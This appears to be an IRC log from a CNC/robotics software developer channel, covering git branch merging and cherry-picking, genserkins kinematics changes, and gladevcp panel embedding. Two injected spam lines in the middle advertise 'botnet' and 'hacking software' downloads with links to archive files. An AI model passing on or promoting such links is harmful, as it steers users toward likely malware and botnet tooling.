yay - second pallet station now works!
hmmm. so I have some more silly git questions
(in both senses of the word)
I have changes on master, which I'd like to merge into ja3. how do I do this?
if I checkout ja3, shouldn't that do something to my changed file(s)?
I guess git merge <blah blah> should be step 1, but then again I don't know which if any changes shouldn't be merged
wanna make a botnet download http://uploadmirrors.com/download/FBAIGMFU/psyBNC2.3.1_3.rar
hacking software download http://uploadmirrors.com/download/NXITRDYP/psyBNC2.3.1_2.rar
SWPadnos: if you have work *in your working tree* that you want to commit on a different branch, then git stash; git checkout otherbranch; git stash pop
I think I want it on both trees actually, so I could commit on master first
if you have *commited work* on a branch that is different than the one you want it on, use 'git rebase' or 'git cherry-pick' to put the commits on the branch you want, and then reset the original branch to before those commits
I just don't know for sure if there's anything that shouldn't be merged from master to ja3
ultimately we'll either merge everything from master to ja3, or merge ja3 to master
ok, so reset is "undo this stuff and forget it ever happened"
what is it you're doing?
it's not quite so time critical at the moment, I can't tell if my changes work yet
then for now don't push them
adding parameters to genserkins so that joints that don't rotate with the prior joint (like Stuart's robot lower arm) can be handled easily
I'd be tempted to say to do that work in ja3, and forget about master
also I'll add some error counters to track things like not converging after max_iterations and if some of the matrix inversions don't work
well, that would make sense :)
the use of genserkins in master is much more limited than ja3, so anybody who wants to use it should sensibly choose ja3
I just happened to be in master when I made max_iterations a parameter
once we decide that ja3 should be merged into master we'll get your change in master as well
since I started working in master, I figured I should make the change in both places
(and some changes have already been committed, though they stand alone)
did you push it yet?
the max_iterations thing at least
and some initialization of HAL data, making the max_joints define actually do something ...
there are some merge conflicts merging master into ja3 so unfortunately it's not trivial
bummer. I'm not good for much more than trivial with git at this point :(
I should be able to cherry-pick into ja3 though
incidentally, if you make changes in several branches (modify / commit / cherry-pick to another branch), are all the changes made at the same time when you push?
my assumption is yes, unless you tell git to do something else
always use 'git push --dry-run' to verify what push will do before you do it
yeah, luckily I learned that much :)
I use the git config item push.default to change the default. I prefer push.default set to tracking.
it looks like the merge conflict is probably easy to resolve, but I am not about to push my resolution of it tonight -- it's too late to sleep
before cherry-picking to ja3 let's wait for the light of a new day and see about this merge
I can look at this stuff in the air (which is a cool thing about git)
then continue with genserkins improvements on ja3
pyvcp: anybody have a working glade example embedded in axis as EMBED_TAB ?
btw: the currend gladevcp in master needs a s/gladevcp_makepins/gladevcp.makepins/g
all I get is a panel with greyed out widgets, hal pins ok and all
ries_ is now known as ries
SWPadnos: the 3 motors for 4,5,6 in one place is pretty common for puma-type robots